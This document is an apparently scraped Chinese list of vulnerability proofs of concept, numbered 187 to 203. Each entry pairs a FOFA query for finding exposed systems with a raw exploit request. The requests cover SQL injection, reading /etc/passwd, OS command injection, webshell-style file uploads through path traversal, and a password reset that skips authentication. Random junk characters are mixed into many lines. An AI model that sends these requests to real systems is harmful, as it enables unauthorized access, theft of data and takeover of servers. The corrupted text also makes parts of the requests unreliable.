3 y# B! z2 ?  a9 T- N

187. Mura CMS processAsyncObject SQL注入
  |; S) f1 t9 k4 \; S' ~& LCVE-2024-32640
, J' K' H% O- s2 P: ~+ m! [0 D& vFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

; i1 H( s2 y) m8 E4 p* V9 f  h
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
0 x$ j4 L' f; i8 S2 A
, T5 E0 `  G; ?
$ M9 L0 n# o$ f- i8 j. k, m, p& r188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
) l$ u8 u' n2 @7 lGET /attachment?file=/etc/passwd HTTP/1.1
& s: @4 U. S2 m' u. H/ fHost: your-ip
8 [' T; ^4 h3 a7 K# p6 E5 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! P; v- j- \. E8 f1 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 i, t! w0 d4 T2 Q3 |# P9 B% t2 RAccept-Encoding: gzip, deflate
2 K) {% I4 ?' `2 b* s$ N* W2 lAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
6 ^( c# ?) m* L8 `& Z( e. H4 I6 {' f
3 v; n& w3 j  H1 o/ S) q. [
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
3 a9 Q; F/ s; bFOFA：app="LANWON-临床浏览系统"
1 S# G0 J3 ]$ w% `/ D8 v+ l! y" g1 mGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 N4 Z( L' f+ W& WAccept-Encoding: gzip, deflate
& _7 i, [& K" O. d5 oAccept-Language: zh-CN,zh;q=0.9
/ S& M5 X$ ~. X# Z1 \2 BConnection: close


# u! P/ j% S; S' l5 Z! `2 U190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
" h; W8 L( Y! u0 i! }" oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
0 ^, z0 U- D- |# V$ tContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
" X! L1 B& y- i' hAccept-Language: zh-CN,zh;q=0.9
$ q7 ^, o  ]  ^8 o8 D9 W  w
poi=file:///etc/passwd
4 n' w4 H# [+ R9 e3 Y- r0 K9 y
4 t% o9 |5 X. M  Y
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
9 C+ [9 {& h5 I- G5 NPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
% M. _% C/ Z: j" h3 ^3 E' \+ i0 kHost: your-ip
! i2 V6 t* K/ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 O8 I+ @# v+ c* X
6 U3 B9 n9 S1 j+ m6 s# kcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
6 Z$ _& U3 F/ c9 e

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
* J2 n/ I3 q  A" K- SFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' A4 j( W/ {- |: m" AContent-Type: application/x-www-form-urlencoded

* X) K9 `" s4 _8 M
) o* R2 E% x; M% N/ Z<% @ webhandler language="C#" class="AverageHandler" %>
+ a/ F5 T& o. r% B  @5 f) R+ k/ iusing System;
& j/ A) E' O* A4 j& ]using System.Web;
! Z& x; t  n9 R  v/ z& j( {9 j" opublic class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
; M9 O# `0 C" U4 Ppublic void ProcessRequest(HttpContext ctx)
# F6 V& p; ?* d: @- }# }{
% @: n* d7 J* G0 ]1 {7 t# f6 D4 Uctx.Response.Write("test");
: j' T) V0 R% A. q! {4 P0 {}
; q- q, d( D: k7 h) T, c}
9 H- l8 _1 C2 v0 m0 h( _3 [9 m  E! n
  ~& L8 T, L( C' D/ D- N
5 H% V2 p4 j% L  I193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
* c- S8 W6 {3 e" P7 WFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
7 J' ?& k0 d+ n1 [  q& }; lCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
: K, X' P* C* R& @+ F0 n& kUser-Agent: Mozilla/5.0

4 |1 M, H! ~7 `; ]: n
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
9 ]7 e2 e# Q) `3 {  K0 o: VUser-Agent: Mozilla/5.0
1 _9 c+ P4 y4 H; l0 b. YAccept-Encoding: gzip, deflate
' {6 ?! s4 o1 C8 V# [& B  t; ~Accept: */*
Connection: close
" S, h9 M8 }' z$ _Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

' o$ ?. h3 g: v$ W: P1 Mparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

! x0 P) R/ [8 u
* ?7 y  i+ g" EGET /master/img/config HTTP/1.1
& r5 P8 ?5 x( I: S$ eHost:
2 `2 d7 |' u8 T7 Y" m1 LUser-Agent: Mozilla/5.0
8 w9 ~/ @7 C8 L/ i& A# v

; k* d6 ]. u5 }4 x2 k1 b194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
% D1 v) s9 \( z. r7 l. i! r8 IHost: host
, B4 [, n* m, T/ ~# ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ L, y  z; S: z7 u7 FAccept-Encoding: gzip, deflate
/ F' d# L5 ~0 y' l6 C: d- FConnection: close
3 A  u6 ?3 P1 f. E/ C' FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
8 t3 a4 V7 T* t------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
* F' r1 x5 z6 l0 Z+ h: r0 mContent-Type: text/plain
<% out.println("hello");%>
6 I2 ~: z8 b( D5 j------WebKitFormBoundaryKNt0t4vBe8cX9rZk
% `' ]5 i' C; p( ~0 jContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


: T5 Z' c. p% P4 P/ ~3 R195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
( p8 B  V, O& i8 DFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
1 z# u1 C6 W4 L3 }2 eHost: 127.0.0.1
! C: e6 p& B  `2 j  t$ u# }Pragma: no-cache
Cache-Control: no-cache
$ L) i& H" @% T- i) `1 B5 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( R( l5 h- m& T' N4 u, S7 t3 x- T6 fAccept: */*
Accept-Encoding: gzip, deflate
2 e8 m5 N  t9 DAccept-Language: zh-CN,zh;q=0.9
1 a7 K& \, J3 @% O8 DConnection: close
2 [6 `0 X/ c. `+ e  d% t: aContent-Type: application/x-www-form-urlencoded
: j0 S- u7 g/ a' M; N6 XContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
  @) d+ u- Z4 ^

# s1 H- Q, n) E$ `' r0 J: h196. 河南省风速科技统一认证平台密码重置
. E5 q/ q+ r1 q, h! n( Y, nFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
3 y! d3 ?( u! ]/ S! d# GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
+ n5 e+ M* r) R2 c/ g# ^( THost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
* |5 }/ y! |5 @+ S8 w( J! tConnection: close

7 u& s: w$ d9 }0 T$ W{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
2 r2 y4 \0 o! Z% Q/ p; TAccept-Encoding: gzip, deflate
Connection: close

( _- @0 `- Z  b/ p6 ]

3 O8 S( Q7 n7 Q198.  阿里云盘 WebDAV 命令注入
; h# V; c4 M6 z4 q% v: bCVE-2024-29640
- ?4 y8 w  }! h0 |: J4 K' LGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& y9 ~& c) a6 k  n$ J1 b. E- h4 yAccept: */*
; Q0 z- u+ B& [1 o) d* cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
8 l1 [9 t1 T8 U' ^  {' O9 P

' N+ y4 I, P, [! w" |0 @199. cockpit系统assetsmanager_upload接口 文件上传
- T7 v* o8 x1 Y1 L5 }9 k' u
/ P# n" m" n1 Y" n1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
; @& [2 \/ M) B5 W! Q$ ^GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
4 S8 H" f3 j+ N2 b
2.使用刚才上一步获取到的jwt获取cookie：
+ J6 b, W  \: k7 ^9 Q3 n) D
) ~/ s6 o1 f# H. f3 [/ n/ ePOST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

& k$ l& Q2 [( C; `响应：200，返回值:
, m$ ~6 i7 P$ M4 ESet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
" @7 K- W4 M3 ~9 c6 s* K2 lFofa：title="Authenticate Please!"
- t. O# ^  N6 G# |POST /assetsmanager/upload HTTP/1.1
3 }* M- C1 _" z* j3 T: DContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

3 y- x# D, @5 ^8 ?<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
5 s& _  s1 Z, h( `; c4 A. W3 \) N
-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php
  z- {0 y' A& f  C! o: a" K. H
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
0 r% u4 G+ ?5 k2 j' |Upgrade-Insecure-Requests: 1
( \" Y0 \" e' b5 UCache-Control: max-age=0
3 X6 H2 ]& e, M8 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! m/ C* }( x: C  x- F2 UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ D- A5 p/ l& r5 ^5 Y0 a1 J0 u

8 s) S/ |1 E+ p% C* b5 s) \201. 方正全媒体新闻采编系统 binary SQL注入
+ F" d9 w3 s0 H4 m6 ], FFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
( A+ Z. j" U# x# WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. s( H8 w/ s; S5 Q3 q" PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* F4 k7 h4 n$ W- x3 n/ HConnection: close
4 ~4 Z- t9 ]" y; ~
. c# D" [3 o4 c' O$ r5 aTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
$ B  }$ [. _+ r+ ~1 Q2 z2 r4 J, p& D

! x2 z  D# B" ]1 x% \4 d, I202. 微擎系统 AccountEdit任意文件上传
# B5 x) Q, e: C( j9 `1 W% Z1 gFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
" q0 ~3 p' [* I! K) ?Host: 滑板人之家
" C* o0 I+ b9 m5 H% AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
2 i, z1 s0 a5 Z  oContent-Length: 0

1 ^7 V/ s$ U# H0 \
% l4 x8 Q* O+ Y. u6 l; v& J替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
: w, @2 @9 s& V1 B' b. T3 kContent-Disposition: form-data; name="__VIEWSTATE"

. p& y: L- J7 M# L' @" @: Z5 d" M5 j__VIEWSTATE
0 W9 |9 c6 d- V( ^8 J" \; z-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

8 z0 ^; ?6 ]2 L__EVENTVALIDATION
, _9 Q. v, m. Z6 y! \! |. Q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
1 W' v4 Q' v' B$ IContent-Type: text/plain
+ a/ o& `1 o0 \: T( C/ n* b- g
  ^: u( X! p* v$ i( o, yHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
4 I) R  p  @% ~' c$ O3 p
上传图片
& `9 h4 S8 n* N/ v-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
4 M  L" h; B' ?( `
+ C* m( V4 G$ g: a! o
! G# l0 w7 O: y) k2 {' D& C-----------------------------786435874t38587593865736587346567358735687
; C( |  f0 ^  NContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
) s$ Q6 @1 `+ H

-----------------------------786435874t38587593865736587346567358735687--


' ]4 S3 @& ^# }- Z- v4 p/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
; q* d9 z$ L' }$ h4 CHost: x.x.x.x
2 C7 G5 k0 E! C4 l+ _1 p$ z9 M6 ZAccept-Encoding: gzip
4 v0 u8 z: L, v, }* P4 m7 L2 v  kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

( V% ]+ X: x1 Q; o! @; f------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
9 o' G: b- [; _) W6 e3 i" ZContent-Type:image/jpeg
9 X1 P8 L5 f" q; c  o4 T" a& h4 x
+ L2 b8 x3 Y$ `; [' G<% out.print("hello,eHR");%>
2 ~# q2 z  U+ `2 _2 X' @$ F; g. E4 z------WebKitFormBoundaryt7WbDl1tXogoZys4--



% O) s  s* l# i$ h
! H. X4 u, d( O! |' Q; T
$ O$ X7 K; _2 q; B